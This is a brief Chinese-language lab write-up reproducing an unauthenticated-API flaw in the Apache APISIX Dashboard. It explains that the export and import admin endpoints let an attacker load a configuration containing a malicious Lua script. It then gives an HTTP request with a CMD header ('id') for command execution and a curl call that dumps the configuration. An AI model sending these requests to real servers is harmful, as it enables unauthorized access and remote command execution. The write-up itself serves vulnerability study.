启动后,访问 http://your-ip:9000/ 可看到 Dashboard 的登录页面,说明环境搭建成功
该漏洞的核心是 Dashboard 的两个未授权 API:/apisix/admin/migrate/export(导出配置)和/apisix/admin/migrate/import(导入配置),攻击者可通过它们导入包含恶意 LUA 脚本的配置文件
发送如下 HTTP 请求(其中CMD头包含待执行的命令)
点击查看代码
GET /okw1Rh HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Connection: close
CMD: id
Cache-Control: max-age=0
验证代码是否执行成功
curl http://your-ip:9000/apisix/admin/migrate/export
该漏洞复现成功,也可继续导入恶意配置